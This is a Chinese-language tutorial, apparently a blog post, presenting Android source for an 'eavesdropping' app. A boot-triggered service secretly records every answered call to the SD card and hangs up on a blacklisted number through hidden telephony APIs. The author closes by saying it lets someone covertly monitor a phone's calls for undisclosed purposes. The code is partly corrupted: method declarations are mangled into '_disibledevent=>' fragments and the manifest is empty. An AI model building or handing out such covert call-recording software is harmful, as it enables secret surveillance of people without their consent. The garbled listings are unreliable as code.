电话窃听,电话窃听和拦截应用

今天学习了进程间Service的通信-->AIDL,基于前几天学习的广播机制,我做了一个简单的电话窃听和录音应用。现将具体实现方法附在下面,供大家参考,希望大家提供一些宝贵的意见。
业务需求分析:
1.当手机处于开机状态,监听服务就要启动,对来电进行监听录音。
2.设置电话黑名单,当来电是黑名单电话,则直接挂断。
实现步骤:
首先我们要定义一个电话监听的服务,对来电进行监听录音和拦截。具体代码如下:
PhoneListenerService:
1 package cn.yj3g.L21_PhoneListener; 2 3 import java.lang.reflect.Method; 4 5 import com.android.internal.telephony.ITelephony; 6 7 import android.app.Service; 8 import android.content.Context; 9 import android.content.Intent; 10 import android.media.MediaRecorder; 11 import android.os.Environment; 12 import android.os.IBinder; 13 import android.telephony.PhoneStateListener; 14 import android.telephony.TelephonyManager; 15 import android.util.Log; 16 import android.view.LayoutInflater; 17 import android.view.View; 18 import android.widget.Toast; 19 20 public class PhoneListenerService extends Service { 21 22 private MediaRecorder recorder; 23 private boolean recording = false; 24 @Override 25 public IBinder _disibledevent=> 26 return null; 27 } 28 @Override 29 public void _disibledevent=> 30 Log.v("TAG", "service _disibledevent=> 31 super.onCreate(); 32 //电话服务管理 33 TelephonyManager manager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); 34 //监听电话状态 35 manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); 36 } 37 38 private PhoneStateListener listener = new PhoneStateListener() { 39 /* 40 * @see TelephonyManager#CALL_STATE_IDLE 值为0 41 * 42 * @see TelephonyManager#CALL_STATE_RINGING 值为1 43 * 44 * @see TelephonyManager#CALL_STATE_OFFHOOK 值为2 45 */ 46 @Override 47 public void _disibledevent=>int state, String incomingNumber) { 48 super.onCallStateChanged(state, incomingNumber); 49 //打印电话状态改变信息 50 Log.v("TAG", "onCallStateChanged state=" + state); 51 switch (state) { 52 case TelephonyManager.CALL_STATE_IDLE: // 没有来电 或者 挂断 53 stopRecord(); 54 break; 55 case TelephonyManager.CALL_STATE_RINGING: // 响铃时 56 stop(incomingNumber); 57 break; 58 case TelephonyManager.CALL_STATE_OFFHOOK: // 接起电话 59 recordCalling(); 60 break; 61 default: 62 break; 63 } 64 } 65 66 }; 67 //停止录音 68 private void stopRecord() { 69 Log.v("TAG", "stopRecord"); 70 if (recording) { 71 recorder.stop(); 72 recorder.release(); 73 recording=false; 74 } 75 } 76 //电话拦截 77 public void stop(String s) { 78 try { 79 if (s.equals("110")) { 80 Toast.makeText(this, "拦截成功", 0).show(); 81 Log.e("TAG", "此来电为黑名单号码,已被拦截!"); 82 //调用ITelephony.endCall()结束通话 83 Method method = Class.forName("android.os.ServiceManager") 84 .getMethod("getService", String.class); 85 IBinder binder = (IBinder) method.invoke(null, 86 new Object[] { TELEPHONY_SERVICE }); 87 ITelephony telephony = ITelephony.Stub.asInterface(binder); 88 telephony.endCall(); 89 } else 90 Toast.makeText(this, "不需拦截", 0).show(); 91 recording=false; 92 } catch (Exception e) { 93 e.printStackTrace(); 94 } 95 } 96 //进行录音 97 private void recordCalling() { 98 try { 99 Log.v("TAG", "recordCalling"); 100 recorder = new MediaRecorder(); 101 recorder.setAudioSource(MediaRecorder.AudioSource.MIC); // 读麦克风的声音 102 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);// 输出格式.3gp 103 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);// 编码方式 104 recorder.setOutputFile(Environment.getExternalStorageDirectory() 105 .getAbsolutePath() 106 + "/" 107 + System.currentTimeMillis() 108 + ".3gp");// 存放的位置是放在sdcard目录下 109 recorder.prepare(); 110 recorder.start(); 111 recording = true; 112 } catch (Exception e) { 113 e.printStackTrace(); 114 } 115 } 116 }

Android没有对外公开结束通话的API,如果需要结束通话,必须使用AIDL与电话管理服务进行通信,
并调用服务中的API实现结束通话,方法如下:
1.从Android的源代码中拷贝以下文件到项目中:
com/android/internal/telephony/ITelephony.aidl
android/telephony/NeighboringCellInfo.aidl
如下图所示.开发工具会在gen目录下自动生成ITelephony.java
电话窃听和拦截应用电话窃听
我们知道服务不能自己启动,需要手动启动,所以我们需要一个广播,当手机刚开机,我们就发送广播,启动监听电话的服务。下面是我写的一个发送广播的Receiver
BootCompleteReceiver:
1 package cn.yj3g.L21_PhoneListener; 2 3 import android.content.BroadcastReceiver; 4 import android.content.Context; 5 import android.content.Intent; 6 import android.util.Log; 7 8 public class BootCompleteReceiver extends BroadcastReceiver { 9 10 @Override 11 public void _disibledevent=>12 //运用广播开启监听这个服务 13 Log.v("TAG", "开机了!"); 14 Intent i = new Intent(context, PhoneListenerService.class); 15 i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//由于之前运行不能实现功能,经老师的修改加上一个任务标志 16 context.startService(i); 17 } 18 }
下面就是要在AndroidManifest.xml中配置相关的权限:具体代码如下:
AndroidManifest.xml
1 2 6 7 15 16 17 18 19 20 21 22 23 24 25 2627 2829 3031 3233 3435 36
这样一个监听电话的应用就做好了。当安装此应用的手机开机时,来电就处于监听状态,这样就可以不动声色的对该手机的来电进行监听录音或者拦截,以达到不可告人的目的。

Tags:  电话窃听卡 电话窃听软件 电话拦截 电话窃听器 电话窃听

延伸阅读

最新评论

发表评论